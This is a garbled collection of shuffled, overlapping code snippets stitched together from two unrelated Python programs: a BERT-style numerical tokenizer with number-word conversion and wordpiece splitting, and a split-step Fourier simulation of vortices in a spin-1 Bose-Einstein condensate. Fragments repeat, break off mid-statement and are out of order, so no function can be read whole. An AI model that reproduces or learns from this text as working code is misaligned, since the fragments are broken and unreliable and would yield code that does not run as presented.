PreTrainedTokenizer", "endings from ordinal numbers (2nd -> 2) . convert \"a", "[] while i < len(chars): char = chars[i] #dont split", "WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self): return len(self.vocab) def _tokenize(self,", "matter since the English models were not trained on any", "text = text.strip() if not text: return [] tokens =", "and whitespace cleanup on text.\"\"\" output = [] for char", "Magnitude = { 'thousand': 1000.0, 'million': 1000000.0, 'billion': 1000000000.0, 'trillion':", "number break except NumberException: if j == i+1: out_sigfigs.append('-1') out_words.append(words[i])", "an index (integer) in a token (string/unicode) using the vocab.\"\"\"", "<= 0x2A6DF) or # (cp >= 0x2A700 and cp <=", "character.\"\"\" # These are technically control characters but we count", "never_split=self.all_special_tokens): for (sub_token, numeric_value, numeric_mask) in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask)", "'sixteen': 16.0, 'seventeen': 17.0, 'eighteen': 18.0, 'nineteen': 19.0, 'twenty': 20.0,", "tok, ids in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize self.numerical_tokenizer = NumericalTokenizer(do_lower_case=do_lower_case,", "out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1 # skip", "case the input Only has an effect when do_basic_tokenize=True **do_basic_tokenize**:", "tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self): return", "'seventeen': 17.0, 'eighteen': 18.0, 'nineteen': 19.0, 'twenty': 20.0, 'thirty': 30.0,", "+= 1 else: new_words.append(words[i]) sigs.append('') if i == len(words) -", "18.0, 'nineteen': 19.0, 'twenty': 20.0, 'thirty': 30.0, 'forty': 40.0, 'fifty':", "a vocabulary file into a dictionary.\"\"\" vocab = collections.OrderedDict() with", "{}: vocabulary indices are not consecutive.\" \" Please check that", ":func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" never_split =", "a BertNumericalTokenizer. Args: **vocab_file**: Path to a one-wordpiece-per-line vocabulary file", "for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token,", "single token or whitespace separated tokens. This should have already", "preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 # convert \"a", "[\"\".join(x) for x in output] def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace", "start = end if is_number: #ACTUAL NUMBER HERE output_tokens.append(self.unk_num) numeric_values.append(numeric_value)", "case the input. Only has an effect when do_wordpiece_only=False do_basic_tokenize:", "a directory or file.\"\"\" index = 0 if os.path.isdir(vocab_path): vocab_file", "# You may obtain a copy of the License at", "Args: text: A single token or whitespace separated tokens. This", "BERT model's sequence length. never_split: List of tokens which will", "None) if magnitude is not None: mantissa = mantissa*magnitude else:", "'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\",", "= load_vocab(vocab_file) self.unk_num = '[UNK_NUM]' self.default_value = 1.0 never_split =", "digits = '0123456789' # punctuation = '$%' # text =", "tokens. \"\"\" output_tokens = [] numeric_values = [] numeric_mask =", "output.append(\" \") else: output.append(char) return \"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece", "Whether to do basic tokenization before wordpiece. max_len: An artificial", "or _is_control(char): continue if _is_whitespace(char): output.append(\" \") else: output.append(char) return", "Instantiate a BertNumericalTokenizer from pre-trained vocabulary files. \"\"\" if pretrained_model_name_or_path", "new_word not in ['infinity', 'inf', 'nan']: int_word = float(new_word) #", "Constructs a BasicTokenizer. Args: **do_lower_case**: Whether to lower case the", "i < len(words): for j in range(len(words), i, -1): try:", "512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512, 'bert-large-uncased-whole-word-masking-finetuned-squad': 512, 'bert-large-cased-whole-word-masking-finetuned-squad':", "= [] self.do_lower_case = do_lower_case self.never_split = never_split self.tokenize_chinese_chars =", "self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\" Converts a sequence of", "but it doesn't # matter since the English models were", "in Magnitude_with_hundred: words[i] = 'one' # convert \"24 {Magnitude}\" ->", "**never_split**: (`optional`) list of str Kept for backward compatibility purposes.", "uses a greedy longest-match-first algorithm to perform tokenization using the", "'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking': 512, 'bert-large-cased-whole-word-masking': 512,", "in output] def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around any CJK", "(mix of digits and words) new_words = [] sigs =", "November 1st, 2018 for the multilingual and Chinese # models.", "open(vocab_file, \"r\", encoding=\"utf-8\") as reader: tokens = reader.readlines() for index,", "or (cp >= 0xF900 and cp <= 0xFAFF) or #", "char == \"\\r\": return False cat = unicodedata.category(char) if cat.startswith(\"C\"):", "in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent) #", "[] i = 0 for (token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens):", "input. **never_split**: (`optional`) list of str Kept for backward compatibility", "NumericalTokenizer(object): \"\"\"Runs basic tokenization (punctuation splitting, lower casing, etc.).\"\"\" def", "def __init__(self, msg): Exception.__init__(self, msg) def text2num(sent): if type(sent) is", "magnitude = Magnitude.get(word, None) if magnitude is not None: mantissa", "# This defines a \"chinese character\" as anything in the", "of tokens (string) in a single string. \"\"\" out_string =", "True else: if not chars[i-1].isdigit(): do_split = True else: do_split", "or char == \"\\n\" or char == \"\\r\": return False", ">= 0x20000 and cp <= 0x2A6DF) or # (cp >=", "convert_tokens_to_string(self, tokens): \"\"\" Converts a sequence of tokens (string) in", "out_words.append(words[i]) i += 1 assert len(out_sigfigs) == len(out_words) return out_words,", "runs end-to-end tokenization: punctuation splitting + wordpiece Args: vocab_file: Path", "= self.never_split + (never_split if never_split is not None else", "== i+1: out_sigfigs.append('-1') out_words.append(words[i]) i += 1 assert len(out_sigfigs) ==", "**do_lower_case**: Whether to lower case the input. **never_split**: (`optional`) list", "see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token, pad_token=pad_token, cls_token=cls_token, mask_token=mask_token, **kwargs)", "lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True): \"\"\" Constructs", "3.0, 'four': 4.0, 'five': 5.0, 'six': 6.0, 'seven': 7.0, 'eight':", "start_new_word = False output[-1].append(char) i += 1 return [\"\".join(x) for", "`do_lower_case=False` for you but \" \"you may want to check", "Unicode # Punctuation class but we treat them as punctuation", "to {}: vocabulary indices are not consecutive.\" \" Please check", "whitespace_tokenize(\" \".join(split_sigfigs)) return zip(output_tokens,split_sigfigs) # return output_tokens, # _numbers =", "and splitting on a piece of text.\"\"\" text = text.strip()", "self.default_value = 1.0 never_split = ['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids,", "Only has an effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default", "word in sent] # n = 0 # g =", "not chars[i-1].isdigit(): do_split = True else: do_split = False else:", "= WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token, unk_num=self.unk_num) @property def vocab_size(self): return len(self.vocab) def", "vocab_file: Path to a one-wordpiece-per-line vocabulary file do_lower_case: Whether to", "return output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction)", "if not text: return [] tokens = text.split() return tokens", "\"License\"); # you may not use this file except in", "ordinal numbers (2nd -> 2) . convert \"a {hundred,thousand...}\" to", "Magnitude.copy() Magnitude_with_hundred['hundred'] = 100 # convert \"a {hundred,thousand,million,...}\" to \"one", "0x2B740 and cp <= 0x2B81F) or # (cp >= 0x2B820", "\"\\r\": return False cat = unicodedata.category(char) if cat.startswith(\"C\"): return True", "to check this behavior.\") kwargs['do_lower_case'] = False elif '-cased' not", "vocab. \"\"\" return self.vocab.get(token, self.vocab.get(self.unk_token)) def _convert_id_to_token(self, index): \"\"\"Converts an", "512, 'bert-base-cased': 512, 'bert-large-cased': 512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese':", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt\", }", "model but you have set \" \"`do_lower_case` to False. We", "[text] chars = list(text) i = 0 start_new_word = True", "'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\",", "def from_pretrained(cls, pretrained_model_name_or_path, *inputs, **kwargs): \"\"\" Instantiate a BertNumericalTokenizer from", "(integer) in a token (string/unicode) using the vocab.\"\"\" return self.ids_to_tokens.get(index,", "\"\"\" Preprocess the sentence by: . remove commas from numbers", "== \"\\r\": return False cat = unicodedata.category(char) if cat.startswith(\"C\"): return", "def whitespace_tokenize(text): \"\"\"Runs basic whitespace cleaning and splitting on a", "i, -1): try: number = str(text2num(words[i:j])) if sigfigs[i] == '':", "\"^\", \"$\", and \"`\" are not in the Unicode #", "(punctuation splitting, lower casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None, tokenize_chinese_chars=True):", "anyways, for # consistency. if ((cp >= 33 and cp", "i = 0 for (token, sigfig) in self.numerical_tokenizer.tokenize(text, never_split=self.all_special_tokens): for", "'') if new_word.endswith(('th', 'rd', 'st', 'nd')): new_word = new_word[:-2] try:", "Split on \"white spaces\" only, for sub-word tokenization, see WordPieceTokenizer.", "any Chinese data # and generally don't have any Chinese", "i, word in enumerate(words): if i == 0: mantissa =", "if i == len(words) - 2: new_words.append(words[i+1]) sigs.append('') i +=", "be a number of sorts\") elif i != 0: magnitude", "**kwargs): \"\"\" Instantiate a BertNumericalTokenizer from pre-trained vocabulary files. \"\"\"", "piece of text.\"\"\" text = text.strip() if not text: return", "and cp <= 96) or (cp >= 123 and cp", "in enumerate(tokens): token = token.rstrip('\\n') vocab[token] = index return vocab" ]
[ "------------------------- # Euler angles alpha = 0. beta = pi", "+ abs(psi_0) ** 2 + abs(psi_plus) ** 2 # Sin", "from numpy import pi, exp, sqrt, sin, cos, conj, arctan,", "if np.mod(i, Nframe) == 0: print('it = %1.4f' % t)", "up variables to be sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx,", "** 2 + Ky ** 2 + 2 * q))", "psi_0 - 1. / sqrt(2.) * S * conj(F_perp) *", "k]) / len_x Y_plus = 2 * pi * (Y", "dt * (Kx ** 2 + Ky ** 2 +", "Renormalizing wavefunction psi_plus *= sqrt(N_plus) / sqrt(dx * dy *", "/ (My * dy) # K-space spacing len_x = Nx", "for wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k =", "2) * tan((X_plus - pi) / 2)) \\ + pi", "= dx * dy * np.linalg.norm(psi_minus) ** 2 # Time", "beta = pi / 4 gamma = 0. N_vort =", "+ C * psi_0 - 1. / sqrt(2.) * S", "wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx,", "Fz) * psi_plus - 1. / sqrt(2.) * S *", "S * conj(F_perp) * psi_minus) \\ * exp(-dt * (V", "2 + abs(psi_0) ** 2 + abs(psi_plus) ** 2 #", "dtype='complex128') * exp(1j * theta_tot) Psi[2, :, :] = np.zeros((Nx,", "k in range(N_vort // 2): # Scaling positional arguments Y_minus", "\\ - arctan(tanh((Y_plus + 2 * pi * nn) /", "Ny)) for k in range(N_vort // 2): # Scaling positional", "k]) / len_x x_plus = 2 * pi * pos[3", "(Nx * Ny) psi_minus *= (Nx * Ny) # Renormalizing", "nn in np.arange(-5, 5): theta_k[k, :, :] += arctan( tanh((Y_minus", "len_y X_minus = 2 * pi * (X - pos[N_vort", "BEC k = 0 # Array index # ------------------------------ Generating", "kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky = np.fft.fftshift(np.arange(-My, My)", "Total density n = abs(psi_minus) ** 2 + abs(psi_0) **", "Nx, Ny), dtype='complex128') Psi[0, :, :] = np.zeros((Nx, Ny)) +", "psi_0_save[:, :, k] = psi_0[:, :] psi_minus_save[:, :, k] =", "/ len_y X_minus = 2 * pi * (X -", "/ len_x Y_plus = 2 * pi * (Y -", "# Time steps, number and wavefunction save variables Nt =", "Trap, linear Zeeman & interaction flow psi_plus = ((C -", "= 0.5 # Effective 3-component BEC k = 0 #", "* dy * np.linalg.norm(psi_plus) ** 2 N_0 = dx *", "exp(-0.25 * dt * (Kx ** 2 + Ky **", "y.shape, data=y) kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky =", "F_perp * psi_0 + (C + S * Fz) *", ":] = np.ones((Nx, Ny), dtype='complex128') * exp(1j * theta_tot) Psi[2,", "and cosine terms for solution C = cos(c1 * F", "* exp(1j * theta_tot) Psi[2, :, :] = np.zeros((Nx, Ny))", "Spin vector terms: F_perp = sqrt(2.) * (conj(psi_plus) * psi_0", "= Nx * dx # Box length len_y = Ny", "Ny) # Renormalizing wavefunction psi_plus *= sqrt(N_plus) / sqrt(dx *", "# Scaling positional arguments Y_minus = 2 * pi *", "+ k] / len_x for nn in np.arange(-5, 5): theta_k[k,", "0: print('it = %1.4f' % t) psi_plus_save[:, :, k] =", "Ny) psi_0 *= (Nx * Ny) psi_minus *= (Nx *", "0. c0 = 2 c1 = 0.5 # Effective 3-component", "(-1. / sqrt(2.) * S * F_perp * psi_0 +", "len_x x_minus = 2 * pi * pos[N_vort // 2", "psi_0 *= (Nx * Ny) psi_minus *= (Nx * Ny)", "* dx) dky = pi / (My * dy) #", "psi_plus *= (Nx * Ny) psi_0 *= (Nx * Ny)", "psi_minus_k *= exp(-0.25 * dt * (Kx ** 2 +", "constants N_plus = dx * dy * np.linalg.norm(psi_plus) ** 2", "(Nx * Ny) psi_0_k *= exp(-0.25 * dt * (Kx", "*= (Nx * Ny) psi_0 *= (Nx * Ny) psi_minus", "+ c0 * n)) # Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0,", "psi_minus *= sqrt(N_minus) / sqrt(dx * dy * np.linalg.norm(psi_minus) **", "F_perp * psi_plus + C * psi_0 - 1. /", "data=Nframe) # Setting up variables to be sequentially saved: psi_plus_save", "index # ------------------------------ Generating SQV's ------------------------- # Euler angles alpha", "/ (2 * pi) theta_tot += theta_k[k, :, :] #", "= pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') #", "* (heav(X_plus, 1.) - heav(X_minus, 1.)) theta_k[k, :, :] -=", "quadratic Zeeman psi_plus_k *= exp(-0.25 * dt * (Kx **", "numpy import pi, exp, sqrt, sin, cos, conj, arctan, tanh,", "variables Nt = 80000 Nframe = 200 dt = 5e-3", "= np.empty((N_vort, Nx, Ny)) theta_tot = np.empty((Nx, Ny)) for k", "* pi * nn) / 2) * tan((X_plus - pi)", "* dy * np.linalg.norm(psi_0) ** 2 N_minus = dx *", "kinetic energy + quadratic Zeeman psi_plus_k *= exp(-0.25 * dt", "q)) / (Nx * Ny) # Inverse FFTs fft_backward(psi_plus_k, psi_plus)", "* Ny) psi_minus *= (Nx * Ny) # Trap, linear", "* dy x = np.arange(-Mx, Mx) * dx y =", "Kx, Ky = np.meshgrid(kx, ky) # K-space meshgrid # Initialising", "= 0. # Doubly periodic box p = q =", "Ny) psi_minus *= (Nx * Ny) # Renormalizing wavefunction psi_plus", "2 + k] / len_x for nn in np.arange(-5, 5):", "abs(psi_plus) ** 2 # Sin and cosine terms for solution", "sqrt(N_minus) / sqrt(dx * dy * np.linalg.norm(psi_minus) ** 2) #", "K-space meshgrid # Initialising FFTs cpu_count = mp.cpu_count() wfn_data =", "(2 * pi) theta_tot += theta_k[k, :, :] # Initial", "# Saving time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe)", "vector # Total density n = abs(psi_minus) ** 2 +", "psi_0) * exp(-dt * (V - p + c0 *", "speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) # ------------------------------------------------------------------------ # Normalisation", "# Number of vortices pos = [-10, 0, 10, 0]", "= 2 * pi * pos[N_vort // 2 + k]", "(Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe),", "import pyfftw from numpy import pi, exp, sqrt, sin, cos,", "else: S = 1j * sin(c1 * F * (-1j", "Ny, Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128')", "** 2 + abs(psi_0) ** 2 + abs(psi_plus) ** 2", "2): # Scaling positional arguments Y_minus = 2 * pi", "np.zeros((Nx, Ny)) + 0j psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx,", "and wavefunction save variables Nt = 80000 Nframe = 200", "Nx = Ny = 128 # Number of grid pts", "(Mx * dx) dky = pi / (My * dy)", "pi * (X - pos[N_vort // 2 + k]) /", "* psi_minus) * exp(-dt * (V + p + c0", "= 2 # Number of vortices pos = [-10, 0,", "= data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx,", "t) psi_plus_save[:, :, k] = psi_plus[:, :] psi_0_save[:, :, k]", "sin, cos, conj, arctan, tanh, tan from numpy import heaviside", "* (Kx ** 2 + Ky ** 2)) / (Nx", "* exp(-dt * (V - p + c0 * n))", "# Initialising FFTs cpu_count = mp.cpu_count() wfn_data = pyfftw.empty_aligned((Nx, Ny),", "2 + Ky ** 2)) / (Nx * Ny) psi_minus_k", "1. / sqrt(2.) * S * conj(F_perp) * psi_0) *", "- pos[k]) / len_y X_minus = 2 * pi *", "Psi[1, :, :] = np.ones((Nx, Ny), dtype='complex128') * exp(1j *", "rotation to wavefunction # Aligning wavefunction to potentially speed up", "sqrt(2.) * S * conj(F_perp) * psi_minus) \\ * exp(-dt", "range(N_vort // 2): # Scaling positional arguments Y_minus = 2", "gamma) # Performs rotation to wavefunction # Aligning wavefunction to", "(heav(X_plus, 1.) - heav(X_minus, 1.)) theta_k[k, :, :] -= (2", "2 * pi * pos[N_vort // 2 + k] /", "Ny, alpha, beta, gamma) # Performs rotation to wavefunction #", "= pi / (My * dy) # K-space spacing len_x", "= pi / (Mx * dx) dky = pi /", "Time steps, number and wavefunction save variables Nt = 80000", "%1.4f' % t) psi_plus_save[:, :, k] = psi_plus[:, :] psi_0_save[:,", "Sin and cosine terms for solution C = cos(c1 *", "(Nx * Ny) psi_minus_k *= exp(-0.25 * dt * (Kx", "4 gamma = 0. N_vort = 2 # Number of", "pos[3 * N_vort // 2 + k]) / len_x x_plus", "dx # Box length len_y = Ny * dy x", "# ------------------------------ Generating SQV's ------------------------- # Euler angles alpha =", "dx * dy * np.linalg.norm(psi_minus) ** 2 # Time steps,", "= 2 * pi * (X - pos[N_vort // 2", "abs(psi_plus) ** 2 - abs(psi_minus) ** 2 F = sqrt(abs(Fz)", "parameters-------------- Mx = My = 64 Nx = Ny =", "periodic box p = q = 0. c0 = 2", "(Nx * Ny) # Renormalizing wavefunction psi_plus *= sqrt(N_plus) /", "+ c0 * n)) psi_minus = (-1. / sqrt(2.) *", "1), threads=cpu_count) # Framework for wavefunction data psi_plus_k = pyfftw.empty_aligned((Nx,", "sqrt(N_0) / sqrt(dx * dy * np.linalg.norm(psi_0) ** 2) psi_minus", "& interaction flow psi_plus = ((C - S * Fz)", "density n = abs(psi_minus) ** 2 + abs(psi_0) ** 2", "2 * pi * (Y - pos[k]) / len_y X_minus", "len_y = Ny * dy x = np.arange(-Mx, Mx) *", "division by zero else: S = 1j * sin(c1 *", "= np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky = np.fft.fftshift(np.arange(-My, My) *", "= np.zeros((Nx, Ny)) + 0j Psi[1, :, :] = np.ones((Nx,", "k] / len_x for nn in np.arange(-5, 5): theta_k[k, :,", "* theta_tot) Psi[2, :, :] = np.zeros((Nx, Ny)) + 0j", "Psi[0, :, :] = np.zeros((Nx, Ny)) + 0j Psi[1, :,", "= pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count) # Framework for", "nn) / 2) * tan((X_minus - pi) / 2)) \\", "= sqrt(2.) * (conj(psi_plus) * psi_0 + conj(psi_0) * psi_minus)", "pi) theta_tot += theta_k[k, :, :] # Initial wavefunction Psi", "(x_plus - x_minus) / (2 * pi) theta_tot += theta_k[k,", "pos[N_vort // 2 + k]) / len_x Y_plus = 2", "** 2 F = sqrt(abs(Fz) ** 2 + abs(F_perp) **", "2) psi_0 *= sqrt(N_0) / sqrt(dx * dy * np.linalg.norm(psi_0)", "+ 2 * q)) / (Nx * Ny) psi_0_k *=", "= %1.4f' % t) psi_plus_save[:, :, k] = psi_plus[:, :]", "** 2 # Time steps, number and wavefunction save variables", "* Fz) * psi_plus - 1. / sqrt(2.) * S", "data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting up variables to be sequentially", "/ (Mx * dx) dky = pi / (My *", "* psi_0) * exp(-dt * (V - p + c0", "wavefunction to potentially speed up FFTs pyfftw.byte_align(psi_plus) pyfftw.byte_align(psi_0) pyfftw.byte_align(psi_minus) #", "dx = dy = 1 / 2 # Grid spacing", "data.create_dataset('time/dt', data=dt) data.create_dataset('time/Nframe', data=Nframe) # Setting up variables to be", "*= sqrt(N_0) / sqrt(dx * dy * np.linalg.norm(psi_0) ** 2)", "2) # Magnitude of spin vector # Total density n", "psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save = data.create_dataset('wavefunction/psi_minus',", "* N_vort // 2 + k]) / len_x x_plus =", "Nt = 80000 Nframe = 200 dt = 5e-3 t", "2 F = sqrt(abs(Fz) ** 2 + abs(F_perp) ** 2)", "Setting up variables to be sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus',", "spacing len_x = Nx * dx # Box length len_y", "/ sqrt(2.) * S * F_perp * psi_plus + C", "np.fft.fftshift(np.arange(-Mx, Mx) * dkx) ky = np.fft.fftshift(np.arange(-My, My) * dky)", "// 2 + k]) / len_x x_plus = 2 *", "** 2) # Magnitude of spin vector # Total density", "S * Fz) * psi_minus) * exp(-dt * (V +", "sqrt(2.) * S * F_perp * psi_0 + (C +", "+ k]) / len_x Y_plus = 2 * pi *", "* pi) theta_tot += theta_k[k, :, :] # Initial wavefunction", "sqrt(abs(Fz) ** 2 + abs(F_perp) ** 2) # Magnitude of", "10, 0] theta_k = np.empty((N_vort, Nx, Ny)) theta_tot = np.empty((Nx,", "-= (2 * pi * Y / len_y) * (x_plus", "= np.fft.fftshift(np.arange(-My, My) * dky) Kx, Ky = np.meshgrid(kx, ky)", "heav(X_minus, 1.)) theta_k[k, :, :] -= (2 * pi *", "theta_tot) Psi[2, :, :] = np.zeros((Nx, Ny)) + 0j psi_plus,", "(V + p + c0 * n)) # Forward FFTs", "dtype='complex128') Psi[0, :, :] = np.zeros((Nx, Ny)) + 0j Psi[1,", "# Prints current time and saves data to an array", "/ 2)) \\ + pi * (heav(X_plus, 1.) - heav(X_minus,", "(Kx ** 2 + Ky ** 2 + 2 *", "Ny)) + 0j Psi[1, :, :] = np.ones((Nx, Ny), dtype='complex128')", "= 2 c1 = 0.5 # Effective 3-component BEC k", "** 2 + abs(psi_plus) ** 2 # Sin and cosine", "saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save =", "import numpy as np import multiprocessing as mp import pyfftw", "F.min() == 0: S = np.zeros((Nx, Ny), dtype='complex128') # Ensures", "* pi * (X - pos[3 * N_vort // 2", "sqrt(2.) * S * F_perp * psi_plus + C *", "dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_minus_k = pyfftw.empty_aligned((Nx, Ny),", "* (V + p + c0 * n)) # Forward", "/ (Nx * Ny) psi_minus_k *= exp(-0.25 * dt *", "0] theta_k = np.empty((N_vort, Nx, Ny)) theta_tot = np.empty((Nx, Ny))", "2 + k] / len_x x_minus = 2 * pi", "# Grid spacing dkx = pi / (Mx * dx)", "potential parameters-------------- Mx = My = 64 Nx = Ny", "# Box length len_y = Ny * dy x =", "# Inverse FFTs fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) #", "2 N_minus = dx * dy * np.linalg.norm(psi_minus) ** 2", "Nt/Nframe), dtype='complex128') psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_minus_save", "dx * dy * np.linalg.norm(psi_0) ** 2 N_minus = dx", "2)) \\ - arctan(tanh((Y_plus + 2 * pi * nn)", "sequentially saved: psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128') psi_0_save", "Mx) * dx y = np.arange(-My, My) * dy X,", "== 0: S = np.zeros((Nx, Ny), dtype='complex128') # Ensures no", "k] = psi_minus[:, :] k += 1 t += dt", "2 + k]) / len_x x_plus = 2 * pi", "# K-space meshgrid # Initialising FFTs cpu_count = mp.cpu_count() wfn_data", "(Nx * Ny) psi_0 *= (Nx * Ny) psi_minus *=", "positional arguments Y_minus = 2 * pi * (Y -", "C * psi_0 - 1. / sqrt(2.) * S *", "= psi_0[:, :] psi_minus_save[:, :, k] = psi_minus[:, :] k", "Forward FFTs fft_forward(psi_plus, psi_plus_k) fft_forward(psi_0, psi_0_k) fft_forward(psi_minus, psi_minus_k) # Computing", "* psi_plus + C * psi_0 - 1. / sqrt(2.)", "x_minus) / (2 * pi) theta_tot += theta_k[k, :, :]", "# Trap, linear Zeeman & interaction flow psi_plus = ((C", "pi * (Y - pos[N_vort + k]) / len_y X_plus", "psi_plus *= sqrt(N_plus) / sqrt(dx * dy * np.linalg.norm(psi_plus) **", "= np.ones((Nx, Ny), dtype='complex128') * exp(1j * theta_tot) Psi[2, :,", "= np.zeros((Nx, Ny)) + 0j psi_plus, psi_0, psi_minus = helper.rotation(Psi,", "/ 2)) \\ - arctan(tanh((Y_plus + 2 * pi *", "# Sin and cosine terms for solution C = cos(c1", "Ny) psi_0_k *= exp(-0.25 * dt * (Kx ** 2", "** 2 + 2 * q)) / (Nx * Ny)", "fft_backward(psi_plus_k, psi_plus) fft_backward(psi_0_k, psi_0) fft_backward(psi_minus_k, psi_minus) # Rescaling psi_plus *=", "exp(-dt * (V + c0 * n)) psi_minus = (-1.", "data psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128') psi_0_k = pyfftw.empty_aligned((Nx, Ny),", "= 0. # Saving time variables: data.create_dataset('time/Nt', data=Nt) data.create_dataset('time/dt', data=dt)", "arctan( tanh((Y_minus + 2 * pi * nn) / 2)", "* S * F_perp * psi_0 + (C + S", "Y / len_y) * (x_plus - x_minus) / (2 *", "= helper.rotation(Psi, Nx, Ny, alpha, beta, gamma) # Performs rotation", "N_0 = dx * dy * np.linalg.norm(psi_0) ** 2 N_minus", "helper.rotation(Psi, Nx, Ny, alpha, beta, gamma) # Performs rotation to", "= abs(psi_minus) ** 2 + abs(psi_0) ** 2 + abs(psi_plus)", "current time and saves data to an array if np.mod(i,", "time and saves data to an array if np.mod(i, Nframe)", "k] = psi_plus[:, :] psi_0_save[:, :, k] = psi_0[:, :]", 